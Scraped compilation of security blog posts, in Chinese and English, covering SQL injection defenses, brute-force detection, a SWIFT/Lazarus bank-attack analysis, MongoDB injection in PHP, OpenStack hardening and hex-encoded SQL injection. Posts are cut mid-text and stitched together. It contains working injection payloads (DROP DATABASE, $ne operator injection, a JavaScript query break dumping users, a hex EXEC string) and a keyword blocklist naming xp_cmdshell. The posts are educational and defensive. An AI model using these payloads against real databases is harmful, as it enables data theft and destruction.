  注意到没有,可以在SSN查询字符串值的后面添加“ ';DROP DATABASE pubs -- ”,通过 “;”字符来终止当前的SQL语句,然后添加了自己的恶意的SQL语句,然后把语句的其他部分用“--”字符串注释掉。因为是手工在编码里构造SQL语句,最后把这个字符串传给了数据库,数据库会先对authors表进行查询,然后把我们的pubs数据库删除。“砰(bang)”的一声,数据库就没了!
  万一你认为匿名黑客删除你的数据库的结果很坏,但不幸的是,实际上,这在SQL注入攻击所涉及的情形中算是比较好的。一个黑客可以不单纯摧毁数据,而是使用上面这个编码的弱点,执行一个JOIN语句,来获取你数据库里的所有数据,显示在页面上,允许他们获取用户名,密码,信用卡号码等等。他们也可以添加 UPDATE/INSERT 语句改变产品的价格,添加新的管理员账号,真的搞砸你(screw up your life)呢。想象一下,到月底检查库存时,发现你库房里的实际产品数与你的账目系统(accounting system)汇报的数目有所不同。
  如何防范SQL注入攻击
  SQL注入攻击是你需要担心的事情,不管你用什么web编程技术,再说所有的web框架都需要担心这个的。你需要遵循几条非常基本的规则:
  1)在构造动态SQL语句时,一定要使用类安全(type-safe)的参数加码机制。大多数的数据API,包括ADO和ADO.NET,有这样的支持,允许你指定所提供的参数的确切类型(譬如,字符串,整数,日期等),可以保证这些参数被恰当地escaped/encoded了,来避免黑客利用它们。一定要从始到终地使用这些特性。
  例如,在ADO.NET里对动态SQL,你可以象下面这样重写上述的语句,使之安全:
  Dim SSN as String = Request.QueryString("SSN")
  Dim cmd As new SqlCommand("SELECT au_lname, au_fname FROM authors WHERE au_id = @au_id")
  Dim param = new SqlParameter("au_id", SqlDbType.VarChar)
  param.Value = SSN
  cmd.Parameters.Add(param)
  这将防止有人试图偷偷注入另外的SQL表达式(因为ADO.NET知道对au_id的字符串值进行加码),以及避免其他数据问题(譬如不正确地转换数值类型等)。注意,VS 2005内置的TableAdapter/DataSet设计器自动使用这个机制,ASP.NET 2.0数据源控件也是如此。
  一个常见的错误知觉(misperception)是,假如你使用了存储过程或ORM,你就完全不受SQL注入攻击之害了。这是不正确的,你还是需要确定在给存储过程传递数据时你很谨慎,或在用ORM来定制一个查询时,你的做法是安全的。
  2) 在部署你的应用前,始终要做安全审评(security review)。建立一个正式的安全过程(formal security process),在每次你做更新时,对所有的编码做审评。后面一点特别重要。很多次我听说开发队伍在正式上线(going live)前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关,推说,“就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。
  3) 千万别把敏感性数据在数据库里以明文存放。我个人的意见是,密码应该总是在单向(one-way )hashed过后再存放,我甚至不喜欢将它们在加密后存放。在默认设置下,ASP.NET 2.0 Membership API 自动为你这么做,还同时实现了安全的SALT 随机化行为(SALT randomization behavior)。如果你决定建立自己的成员数据库,我建议你查看一下我们在这里发表的我们自己的Membership provider的源码。同时也确定对你的数据库里的信用卡和其他的私有数据进行了加密。这样即使你的数据库被人入侵(compromised)了的话,起码你的客户的私有数据不会被人利用。
  4)确认你编写了自动化的单元测试,来特别校验你的数据访问层和应用程序不受SQL注入攻击。这么做是非常重要的,有助于捕捉住(catch)“就是一个小小的更新,所有不会有安全问题”的情形带来的疏忽,来提供额外的安全层以避免偶然地引进坏的安全缺陷到你的应用里去。
  5)锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限。如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限从你的account payables表来生成报表,那么确认你禁止它对此表的 insert/update/delete 的权限。
  6)很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试(。
  可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。
  7)对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。
  第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。
  3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
  由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定帮助...。

你的账号密码是怎样丢失的?暴力破解攻击的检测和防御

$
0
0

你的账号密码是怎样丢失的?暴力破解攻击的检测和防御

之前我们讲过关于“黑客1小时内破解16位密码”这样可怕的事情,里面提及了很多安全专家反复提醒用户设置账户和密码时要尽可能多样化,以防被破解。要知道,在这个大数据称霸天下的时代,网络安全意味着什么,意味着一切。

众所周知,iCloud艳照门其实并不高明,黑客通过暴力破解攻击不断尝试登录用户的账号名和密码,最终获取好莱坞明星的iCloud账号。什么是暴力破解攻击?怎样检测暴力破解攻击以及怎样防护呢?

什么是暴力破解攻击?

暴力破解攻击是指攻击者通过系统地组合所有可能性(例如登录时用到的账户名、密码),尝试所有的可能性破解用户的账户名、密码等敏感信息。攻击者会经常使用自动化脚本组合出正确的用户名和密码。

对防御者而言,给攻击者留的时间越长,其组合出正确的用户名和密码的可能性就越大。这就是为什么时间在检测暴力破解攻击时是如此的重要了。

怎样检测暴力破解攻击?

暴力破解攻击是通过巨大的尝试次数获得一定成功率的的。因此在web(应用程序)日志上,你会经常发现有很多的登录失败条目,而且这些条目的IP地址通常还是同个IP地址。有时你又会发现不同的IP地址会使用同一个账户、不同的密码进行登录。

大量的暴力破解请求会导致服务器日志中出现大量异常记录,从中你会发现一些奇怪的进站前链接(referring urls),比如:http://user:password@website.com/login.html。

有时,攻击者会用不同的用户名和密码频繁的进行登录尝试,这就给主机入侵检测系统或者记录关联系统一个检测到他们入侵的好机会。当然这里头会有一些误报,需要我们排除掉。例如,同一个IP地址用同一个密码重复登录同一个账户,这种情况可能只是一个还未更新密码或者未获得正确认证的Web/移动应用程序而已,应排除掉这种干扰因素。

怎样防御暴力破解攻击?

尽管暴力破解攻击并不是很复杂的攻击类型,但是如果你不能有效的监控流量和分析的话,它还是会有机可乘的。因此,你需要对用户请求的数据做分析,排除来自用户的正常访问并根据优先级排列出最严重最紧急的威胁,然后做出响应。

安全研究人员开发了一个由内置关联规则驱动的IDS(入侵检测系统)和记录关联系统,它可以及时通知你是否受到了攻击者的暴力破解攻击。系统警报仪表会显示所有的威胁,并按威胁级别分类。

如图,泡沫越大,就说明在这一时间内的威胁越广泛。

你的账号密码是怎样丢失的?暴力破解攻击的检测和防御

‍‍在下面这张图中,系统记录的细节已经被解译成我们可以理解的内容了:可疑的209.239.114.179正在尝试SSH登录


你的账号密码是怎样丢失的?暴力破解攻击的检测和防御

‍‍系统‍‍‍‍还会把IP信息‍威胁信息分享平台‍进行‍‍‍‍核对。

下图中展示的是可疑IP在威胁信息分享平台上的所有信息,包括了与之相关联的任何恶意活动。系统会对可能性最大的IP进行阻断,进而防止其进一步的暴力破解。

‍‍
你的账号密码是怎样丢失的?暴力破解攻击的检测和防御

SWIFT之殇:针对越南先锋银行的黑客攻击技术初探

$
0
0
SWIFT之殇:针对越南先锋银行的黑客攻击技术初探

2016-06-02 10:48:16
来源:360安全播报 作者:360追日团队

阅读:821次
点赞(0)
收藏



分享到:








——针对越南先锋银行的黑客攻击技术初探

360追日团队

近期,孟加拉国、厄瓜多尔、越南、菲律宾等多个国家的银行陆续曝出曾经遭遇黑客攻击并试图窃取金钱事件,这些事件中黑客都瞄准了SWIFT银行间转账系统,对相关银行实施攻击和窃取。360追日团队深入分析了截获的黑客攻击越南先锋银行所使用的恶意代码样本,并由此对此次事件中的黑客攻击技术进行了初步探索。

一、概述

随着孟加拉国央行被黑客攻击导致8100万美元被窃取的事件逐渐升温,针对银行SWIFT系统的其他网络攻击事件逐一被公开,具体如下表所示:

攻击时间 被攻击银行 计划窃取 实际损失 2013年 索纳莉银行(Sonali Bank) 未知 25万美元 2015年1月 厄瓜多尔银行(Banco del Austro) 未知 1200万美元 2015年10月 疑似菲律宾某银行 未知 未知 2015年12月8日 越南先锋银行(Tien Phong Bank) 120万欧元 无 2016年2月5日 孟加拉国央行(Bangladesh Central Bank) 10亿美元 8100万美元 未知 疑似香港某银行 未知 未知 未知 疑似菲律宾、新西兰某银行和其他10多家金融机构 未知 未知

表 1针对银行攻击事件汇总

通过对相关恶意代码和攻击手法的研究,以及其他安全厂商的研究结论,360追日团队推测针对孟加拉国央行和越南先锋银行发起攻击的幕后组织或许是同一个组织,该组织可能是Operation Blockbuster所揭秘披露的Lazarus组织,中国相关机构也是该组织主要攻击目标之一。

本报告主要就越南先锋银行的相关攻击事件、样本展开深入分析,暂不深入关联孟加拉国央行被攻击事件和Lazarus组织,对相关事件或组织之间的关联归属分析等,我们在之后的关联分析报告中会有详细的介绍。

关于Lazarus黑客组织

2016年2月25日,Lazarus黑客组织以及相关攻击行动由卡巴斯基实验室、AlienVault实验室和Novetta等安全企业协作分析并揭露。2013年针对韩国金融机构和媒体公司的DarkSeoul攻击行动和2014年针对索尼影视娱乐公司(Sony Pictures Entertainment,SPE)攻击的幕后组织都是Lazarus组织。

相关时间节点

具体事件描述

2007.03.07

“Flame”行动中第一代恶意软件开发完成,该活动最终与“1Mission”行动、“Troy”行动、2013年DarkSeoul攻击联系在一起。

2009.07.04

使用恶意工具MYDOOM、Dozer对美国、韩国网站发动大规模DDOS攻击,该恶意软件在MBR写入文本信息“Memory of Independence Day”。

2009-2013

“Troy”网络间谍行动活跃数年,在2013年DarkSeoul攻击达到顶峰。

2011.03

“Ten Days of Rain”行动攻击韩国媒体、金融、基础设施。利用韩国地区的肉鸡发动DDOS攻击。

2011.04

韩国农协银行被DDOS攻击。

2012

发动“1Mission”行动,该行动的攻击者被报道称从2007年就开始活跃。

2012.06

韩国保守媒体报纸声称受到具有清除功能的恶意软件的攻击,但未成功。网站被未知黑客团体“IsOne”篡改。

2013.03.20

DarkSeoul清除行动攻击韩国广播公司、金融机构、及一家ISP。两个未知黑客团队NewRomanic Cyber Army Team 和 WhoIs Team声称对此负责。

2014.03

疑似有黑客试图窃取韩国军方数据,使用的服务器之一也被用于DarkSeoul攻击。

2014.11.24

索尼影视娱乐公司网络被植入破坏性恶意软件,信息被窃取。早前的未知黑客组织GOP声称负责。

表 2 Lazarus组织历史活动相关重大事件节点

二、关于SWIFT

SWIFT全称是Society for Worldwide Interbank Financial Telecommunication,中文名是“环球同业银行金融电信协会”。1973年5月,由美国、加拿大和欧洲的—些大银行正式成立SWIFT组织,其总部设在比利时的布鲁塞尔,它是为了解决各国金融通信不能适应国际间支付清算的快速增长而设立的非盈利性组织,负责设计、建立和管理SWIFT国际网络,以便在该组织成员间进行国际金融信息的传输和确定路由。

目前全球大多数国家大多数银行已使用SWIFT系统。SWIFT的使用,使银行的结算提供了安全、可靠、快捷、标准化、自动化的通讯业务,从而大大提高了银行的结算速度。由于SWIFT的格式具有标准化,目前信用证的格式主要都是用SWIFT电文。

1.SWIFT提供的服务

l接入服务(Connectivity)

包括SWIFTAlliance Access and Entry 、SWIFTAlliance Gateway 、SWIFTAlliance Webstation 、File Transfer Interface 等接入模式;

l金融信息传送服务(Messaging)

包括SWIFTNet FIN 、SWIFTNet InterAct 、SWIFT FileAct 、SWIFTNeBrowse 等传输模式;

l交易处理服务(transaction processing)

提供交易处理匹配服务 、实时报告的双边净额清算服务 、支持B2B的商务中的端对端电子支付等;

l分析服务与分析工具(Analytical Services/Tools)

向金融机构提供一些辅助性的服务,即分析服务与分析工具。

2.SWIFT CODE

SWIFT Code是由该协会提出并被ISO通过的银行识别代码,其原名是BIC (Bank Identifier Code)。

每个申请加入SWIFT组织的银行都必须事先按照SWIFT组织的统一规则,制定出本行SWIFT地址代码,经SWIFT组织批准后正式生效。SWIFT Code由8位或11位英文字母或数字组成。

代码格式:

l8码长—XXXXXXXX

a

b

c

X

X

X

X

X

X

X

X

l11码长—XXXXXXXXXXX

a

b

c

d

X

X

X

X

X

X

X

X

X

X

X

各部分的含义如下:

a. 银行代码:由四位易于识别的银行行名字头缩写字母构成,如 ABOC、ICBK、CITI 等;

b. 国家代码:根据国际标准化组织的规定由两位字母构成,如 CN、HK、GB、US、DE 等;

c. 地区代码:由两位数字或字母构成,标明城市,如 BJ、HH、SX 等;

d. 分行代码:由三位数字或字母构成,标明分行,如 100、010、CJ1、400 等,若表 示总行,则使用XXX。

3.SWIFT报文

SWIFT组织根据国际结算业务开展的需要,制定了相关的标准格式的报文,SWIFT的标准格式分为两种:

l基于FIN的标准MTs

l基于XML的新标准MXs

MTs(Message Type ,MTs通用表达式为MTnXX):n(0~9)表示报文类型,XX表示在n类型中的分类,目前共有10类报文,应用较多的是第1、2、3、5、7、9类型。

MXs :在1999年,SWIFT组织选择了XML编码作为新一代标准,同时决定最终应用新一代以XML为基础的标准(MXs), 目前两种标准共存,MX标准由12类报文组成。

SWIFT MT报文

根据银行的实际运作,SWIFT MT报文共划分为十大类:

名称

是否加密押

1

客户汇款与支票(CUSTOMER TRANSFERS CHEQUES)

加押

2

银行头寸调拔(FINANCIAL INSTITUTION TRANSFERS)

加押

3

外汇买卖与存放款(FOREIGN EXCHANGE)

加押

4

托收(COLLECTIONS,CASH LETTERS)

加押

5

证券(SECURITIES)

加押

6

贵金属和辛迪加(PRECIOUS METALS AND SYNDICATIONS)

加押

7

跟单信用证和保函(DOCUMENTARY CREDITS AND GUARANTEES)

加押

8

旅行支票(TRAVELLER’S CHEQUES)

加押

9

银行帐务(BANK STATEMENT)

不加押

0

SWIFT系统报文

不加押

表 3 SWFIT MT报文十大类

SWIFT报文第1类至第8类均为押类电报,需要使用SWIFT密押。SWIFT密押是独立于电传密押之外,在代理行之间交换,且仅供双方在收发SWIFT电讯时使用的密押。其他两类属于不加押报文。

4.MT950对帐单

MT950范围

这是由帐户行发送给开户行,用来说明所开帐户上所有发生额详细情况的报文格式。


SWIFT之殇:针对越南先锋银行的黑客攻击技术初探

MT950准则

l费用、利息及其它调整所应用的方式

1.列明已发送的费用通知MTn90报文编号;

2.如该费用系通过本对帐单首先通知开户行,则必须符合以下条件:

① 必须用相关业务编号加以识别,如开户行原业务的编号;

② 本金必须在对帐单中单独列明。

l对帐单中的金额必须与原业务中的金额一致。如有费用已在业务报文中清楚列明,或是

某一报文的必要组成部分(如托收款项),则该费用不必在对帐单中特别注明;

l帐户行不得将各自独立的业务并笔。如原收付报文系多笔业务,对帐单中仍应分别记帐,每笔借记均须引用原各自报文中域20;

l建议在每个营业日日终,只要帐户中有发生额,帐户行就发送MT950;

l为便于人工核对,建议对帐单中的发生额先按借记和贷记排列,在借记和贷记两类中分别按起息日排列,同一起息日的借、贷记中,按金额由小到大排列;

l一份对帐单的内容可由数份报文组成。

MT950域详述

l域 20:发报行的编号

l域 25:帐号

列明该对帐单的帐号。

l域28C:对帐单号码 / 分页序号

该域内容前后分别表示对帐单连续号码和每一份对帐单报文的分页序号。

l域60a:起始余额

列明某对帐单所涉及的一段时期开始时,有关帐户的帐面余额;或当报文出现分页时,每一分页的过渡起始余额。其内容包括:

借贷标志 D:借方余额 C:贷方余额

日期 用YYMMDD表示

货币

金额

该域内容必须与前一份该帐户对帐单报文域“62a”相同。只有当该报文系某一时期对帐单的第一分页,或对帐单没有分页,这份报文中该域代号才为“60F”。

l域61:对帐单细目

列明每笔业务的详情。在报文的容量允许范围内,该域可重复使用,其内容共有九个子域,顺序如下:

起息日用 YYMMDD表示

记帐日期(可省略) 用MMDD表示

借贷标志 D:借记C:贷记RC:以借冲贷RD:以贷冲借

货币代号(在需要时使用) 填入货币符号的第三个字母

金额

业务类型 其出现方式有以下三种:

1.如系通过SWIFT报文收付的金额及其费用,其类型表现为:“Snnn”字母“S”后的三位数字即SWIFT报文格式代号。

2.如系通过非SWIFT报文收付的金额及其费用,其类型表现为“Nxxx”字母“N”后的三个字母为下列代码之一所替换以表示该资金收付的理由:

BOE

汇票

DIV

股利

BRF

纪经人佣金

EQA

等值金额

CHG

有关费用

ECK

欧洲支票

CHK

支票

FEX

外汇买卖

CLR

光票信用及票汇

INT

利息

CMI

资金管理

LBX

专用信箱

CMN

资金管理

LDP

贷款保证金

CMS

资金管理

MSC

杂项

CMT

资金管理

RTI

还款

CMZ

资金管理

SEC

证券(记入本金时使用)

COL

托收

STO

长期订单

COM

佣金

TCK

旅行支票

DCR

跟单信用证

TRF

头寸调拨

DDT

直接借记

VDA

调整起息日

3.由本对帐单首次

MongoDB安全,php中的注入攻击

$
0
0
MongoDB安全,php中的注入攻击

2016-06-02 15:06:12
来源:360安全播报 作者:默白

阅读:721次
点赞(0)
收藏



分享到:









MongoDB安全,php中的注入攻击

在讨论MongoDB注入之前,我们必须要了解它到底是什么,以及我们之所以相较于其他数据库更偏爱它的原因。因为MongoDB不使用SQL,所以人们就假想它不容易受到任何形式的注入攻击。但是相信我,没有什么东西生来就内置安全防护。我们还是要设置一些逻辑代码来防止攻击。

MongoDB是什么?

简单来说,MongoDB是MongoDB公司开发的一个开源数据库,可以以不同结构的类似于JSCON文档的形式存储文件。相关的信息会被存储在一起,这样有利于使用MongoDB查询语言进行快速查找。

为什么要使用MongoDB?

因为大家都想要快速查询,所以MongoDB非常受欢迎。它的性能非常好(1000millionsquries/秒)。它更受欢迎的另一个原因就是它擅长在很多相关数据库不能很好适应的案例中发挥作用。例如,非结构化的应用程序、半结构化和多态数据或是可伸缩性要求高并且拥有多个数据中心的应用程序。

到此为止吧!如果在运行任何开源式应用程序的话,为了防止糟糕的情况发生,还是到此为止吧。我们为开源项目提供一种免费的渗透测试。在这里提交应用程序吧,我们会进行评价。

让我们来看一下注入攻击

第一种情况下,我们有一个PHP脚本,该脚本可以显示一个特定ID的用户名和对应密码。


MongoDB安全,php中的注入攻击

MongoDB安全,php中的注入攻击

在上面的脚本中可以看到数据库名称是安全,集合名称是用户。U-id参数会由GET算法获得,然后将其传递到数组,之后就会给出相关结果。听上去很好?我们试着放入一些比较运算符和数组。


MongoDB安全,php中的注入攻击
糟糕!!它得出的结果是整个数据库。问题到底出在哪呢?这是因为输入了http://localhost/mongo/show.php?u_id[$ne]=2,创建了下面这种MongoDB查询,$qry= array(“id” => array(“$ne” => 2))。所以它显示了除id=2之外的所有结果,可以从截屏1中看到。

让我们来考虑一下另一种情况,在前期脚本的工作内容是一样的,但是我们会用findOne方法来创建MongoDB查询。

首先我们来看一下findOne的工作原理。此方法有下列语法:

db.collection.findOne(查询、投影)

这将返回到满足指定查询条件的文档。例如,我们需要找到与id=2相关的结果,就会出现下列命令:


MongoDB安全,php中的注入攻击

现在让我们看一下源代码:


MongoDB安全,php中的注入攻击

这里的关键点就是在某种程度上打破查询,然后再修复它。那如果我们键入以下查询,又会发生什么呢?

http://localhost/mongo/inject.php?u_name=dummy’});return{something:1,something:2}}//&u_pass=dummy

这会打破查询并返回所需参数。让我们来检查一下输出:


MongoDB安全,php中的注入攻击

这带来了两个错误,但是这只是因为我们想要访问两个不存在的参数吗?这种错误间接地表明,用户名和密码在数据库中是一种参数,而这就是我们想要的结果。

只要我们键入正确的参数,错误就会消除。


MongoDB安全,php中的注入攻击

现在我们想要找出数据库名称。在MongoDB中,用于查找数据库名称的方法是db.getName() 。因此查询就变成了:


MongoDB安全,php中的注入攻击

为了将此数据库转储,我们首先要找出集合的名称。在MongoDb中,用于查找集合名称的方法是db.getCollectionNames()。


MongoDB安全,php中的注入攻击

所以到现在为止,我们已经得到了数据库和集合的名称。剩下的就是要找到用户名集合,做法如下:


MongoDB安全,php中的注入攻击
同样的,我们可以通过改变内部函数db.users.find()[2]来获得其他的用户名和密码,比如说:
MongoDB安全,php中的注入攻击

既然大家都对MongoDb很熟悉,那么大家可能会想要了解相关的预防措施。

让我们考虑一下第一种情况,参数在数组中传递。要想防止这种注入,我们可能需要停止执行数组中的比较运算符。因此,其解决方案之一就是用下列方式使用implode()函数:


MongoDB安全,php中的注入攻击

implode()函数返回值是一个字符串数组。因此我们得到的只会是一个对应特定ID的结果,而不是所有结果。


MongoDB安全,php中的注入攻击

在第二种情况中,我们可以使用 addslashes() 方法来保证查询不被攻击者打破。使用正则表达式来替换特殊符号是一个好主意。可以使用下列的正则表达式:

$u_name =preg_replace(‘/[^a-z0-9]/i’, ‘\’, $_GET[‘u_name’]);
MongoDB安全,php中的注入攻击

这样之后,如果我们试图打破查询,它就不会再重蹈覆辙。


MongoDB安全,php中的注入攻击
本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://blog.securelayer7.net/mongodb-security-injection-attacks-with-php/

Tighten the security of your OpenStack Clouds

$
0
0

OpenStack is by its nature a complex project, consisting of many independent sub projects. As OpenStack continues to gain momentum and while it matures, security is top priority for production.

In addition, new features are introduced every six months, carrying brand new vulnerabilities that are as yet undiscovered.Recently identified vulnerabilities in glibc and OpenSSL show that even a single component can render a whole system vulnerable. Taking into consideration the number of standard and new components in OpenStack, the attack surface can be quite extensive if the cloud is not deployed and maintained in the correct manner.

At the same time there are best practices and tools that can make the OpenStack cloud secure and compliant with industry regulations . We will begin by discussing the most common security threats to an OpenStack cloud. Then we will discuss threat mitigation tools and techniques, based on security best practices and recommendations to improve the security of an OpenStack cloud.

Security threats for an OpenStack cloud

To suggest mitigation tools and techniques we need to identify potential security threats and define possible attack vectors. Focusing specifically on software, it is common to define the following classes of security threats:

Spoofing - Pretending to be something or someone other than one's true identity. Tampering - Modifying something on disk, network or in memory. Repudiation - Claiming that someone didnít do something, or was not responsible. Information disclosure - Providing information to someone not authorized to see it. Denial of service - Absorbing resources needed to provide a service. Escalation of privileges - Allowing someone to do something they are not authorized to do.

Threats may come from outside, from a cloud provider or from another tenant, attacking both the cloud tenant and the cloud provider's infrastructure. Here are the most common threats:

External threats - Attacker can use a vulnerability in the user's VM to take a control of it, then move laterally to other VMs in the cloud until the attacker puts their hand on the crown jewels. Threats from a cloud provider - Attacker can use a cloud misconfiguration for escalation of privileges or information disclosure. For example, an attacker can launch a new VM, and attach a volume that was used by a previously running user VM to access sensitive user data. Threats from another tenant - Attacker can, for example, run an escalation of privileges to escape their VM and take a control over the host and/or other tenants. Attacker can also get access to shared resources, such as storage or network resources. Threat mitigation for OpenStack: General recommendations

Here is a recommended checklist to mitigate common security threats:

Spoofing mitigation : Use public keys infrastructure ( PKI ) for authentication. Use SSL/TLS for HTTP session protection, with trusted certificates. Change the vendor's default passwords in the node's installation and for the cloud's users. Use OpenStack Keystone integration with LDAP / Active Directory for secure authentication, password policies and account security policies. Tampering mitigation : Use digital signatures for data integrity. OpenStack Glance supports image signing, but Liberty still uses insecure the hash algorithm . It will be fixed inMitaka. Use mandatory access control (MAC) and role based access control (RBAC) to protect OpenStack services. Repudiation mitigation : Use logging and security audit. Use centralized secure log management, send all of the log events as close to real-time as possible to the secure remote highly available SIEM system. Monitor tenant networks for anomalies. The best practice is to use network-based Intrusion Detection and Prevention Systems (IDS/IPS) for known vulnerabilities and sandboxing systems for zero-day vulnerabilities. Information disclosure mitigation : Use storage encryption ( OpenStack Cinder and libvirt both support volume encryption). Use OpenStack permission, domains, tenants and groups to implement MAC/RBAC for user workloads. Denial of service (DoS) mitigation : Use quotas per domain, project and per user and implement OpenStack high availability best practices . HA architecture assumes redundancy, so you can safely isolate or shut down the affected instance and the remaining instances should be able to function normally. Use OpenStack availability zones for physical isolation or redundancy. HTTP reverse proxies for REST API endpoints and HTTP applications in the DMZ that can be used to isolate OpenStack services from a direct access. Each reverse proxy can be a linux server with a minimal set of packages. Such a proxy can be easily maintained and also can be used as HTTP load balancer, HTTP accelerator (for encrypted connections) and security gateway to efficiently mitigate DoS/DDoS attacks. Escalation of privileges mitigation : Use SELinux/AppArmor to implement MAC/RBAC for hypervisors and OpenStack services. Place OpenStack services into the DMZ, allowing access to API endpoints only. Cloud tenant threat mitigation : Use separated clouds for tenants, if necessary. Use storage encryption per VM or per tenant.

SQL Injection With Hex Code And Its Prevention Mechanism

$
0
0

SQL injection with a HEX code is a code injection technique which exploits a security vulnerability that occurs in the database layer of the Application. The vulnerability will occur when the user input is either incorrectly validated for the given input string and embedded in SQL statements or the user input is not strongly typed and unexpectedly executed. HEX code SQL injection attacks are also known as SQL insertion attacks.

An attacker can inject a malicious code into your Application in many ways and using Hex code is one of them. For testing purposes, let’s take a SQL query and convert it into Hex code, using the below link:

String to hex

When we type the URL given below in the Browser, then the screen depicted below will populate, where you can write your own SQL query and if you click on the “Convert” button, then it will give you the Hex code for the given SQL query.


SQL Injection With Hex Code And Its Prevention Mechanism

Varchar to Hex

selectcast(cast('select*fromTable_DETAILSwherePO_NUMBER=1''updateTable_DETAILSsetDESCRIPTION=''santosh111''wherePO_NUMBER=1--/'asvarchar(max))asvarbinary(max))

Output


SQL Injection With Hex Code And Its Prevention Mechanism
In the same way, you can do the reverse engineering as well, which means you can use the URL given below to convert Hex code to Varchar using, Hex to string converter
SQL Injection With Hex Code And Its Prevention Mechanism

Hex to Varchar

selectcast(cast(0x73656c656374202a2066726f6d20504f5f5452414e53414354494f4e5f44455441494c5320776865726520504f5f4e554d424552203d2031272075706461746520504f5f5452414e53414354494f4e5f44455441494c5320736574204445534352495054494f4e3d202773616e746f73683131312720776865726520504f5f4e554d424552203d2031202d2dasvarbinary(max))asvarchar(max))

Output

select*fromTABLE_DETAILSwherePO_NUMBER=1'updateTAABLE_DETAILSsetDESCRIPTION='santosh111'wherePO_NUMBER=1--

A hacker can execute such an injected malicious code in many ways, the sample code is shown below:

Declare@SVARCHAR(MAX) SET@S=(selectcast(cast(0x73656c656374202a2066726f6d20504f5f5452414e53414354494f4e5f44455441494c5320776865726520504f5f4e554d424552203d2031272075706461746520504f5f5452414e53414354494f4e5f44455441494c5320736574204445534352495054494f4e3d202773616e746f73683131312720776865726520504f5f4e554d424552203d2031202d2dasvarbinary(max))asvarchar(max))) EXEC(@S)

Prevention mechanism

To protect from this kind of injection into your Application, you can use the URL given below to build a regular expression to validat a few special characters and few reserved keywords, as depicted below: Input character Meaning in Transact-SQL ; Query delimiter. ' Character data string delimiter. -- Comment delimiter. /* ... */ Comment delimiters. Text between /* and */ is not evaluated by the server. > < % Or xp_ Used at the start of the name of a catalog-extended stored procedures, such as xp_cmdshell. sp_ exec_

To validate the above special characters and the reserved keywords, use the URL given below to form custom regular expressions to validate the above input fields and test with all the inputs to make sure the created regular expression behaves as expected.

http://regexr.com/


SQL Injection With Hex Code And Its Prevention Mechanism
SQL Injection With Hex Code And Its Prevention Mechanism

Lets say you have created a few regular expressions, as per your need, to validate few special blocked characters and tested with the URL given above to validate and make sure that the created regular expressions behaves as expected. Now, you want to validate a page input control for the blocked characters with the multiple regular expressions. To provide a fix for this kind of requirement, it depends on what kind of the project you are selecting. Let's say you are going to create a new MVC Application, or you have an existing Application which is designed using MVC Application.

To provide a fix for this kind of requirement, we know that MVC supports the data annotation feature and mostly we are using strongly typed views in MVC Application. Hence, it is very easy to provide a fix for this kind of requirement with the steps given below:

Step 1:Create a custom attribute to validate the multiple regular expressions, as shown below:


SQL Injection With Hex Code And Its Prevention Mechanism

Step 2:Create a model class and apply the created custom attribute for an Email field, as shown below:


SQL Injection With Hex Code And Its Prevention Mechanism

If you want to provide a validation for this kind requirement inan AngularJS Application, then you can do it with the steps given below:

Step 1


SQL Injection With Hex Code And Its Prevention Mechanism

Step 2:Now, call the created AngularJS method in your HTML page to validate the control with the code snippet, shown below:


SQL Injection With Hex Code And Its Prevention Mechanism

One more good way to protect such injections is given below:

Using QUOTENAME() to Protect Against SQL Injection

QUOTENAME is a function which has been available since SQL Server 2005. This function returns a unicode value with the delimiters added to make the input value; a valid SQL Server delimited identifier.


SQL Injection With Hex Code And Its Prevention Mechanism

The output for this query is as below,

String Default_QuoteName QuoteName_WithQuote Long_String SQL Server [SQL Server] ‘SQL Server’ NULL

Use of QUOTENAME function to Protect Against SQL Injection

Let me show you a sample SQL Injection. Here is the sample query to demonstrate SQL Injection, shown below:


SQL Injection With Hex Code And Its Prevention Mechanism

After you execute the Script code, given above, table t1 will be dropped from the database.

Now, to protect from this kind of injection, use QUOTENAME function.

By using QUOTENAME function, the result will be a single string rather than breaking with ;. Since the complete query will be treated as a single string, the drop table statement will not execute as a separate query.

Note QUOTENAME functions returns NULL, if the input string has more than 128 characters. For that, you can use the REPLACE function, instead of QUOTENAME function, in order to replace the characters like ; and ' space.

第四届中国网络安全大会九大亮点提前看

$
0
0

第四届中国网络安全大会九大亮点提前看

年度网络安全盛会第四届中国网络安全大会(NSC2016)将于2016年6月23日在北京国家会议中心举行,大会由赛可达实验室与国家计算机病毒应急处理中心、国家网络与信息系统安全产品质量监督检验中心、中国国际技术转移中心、首都创新大联盟共同主办。

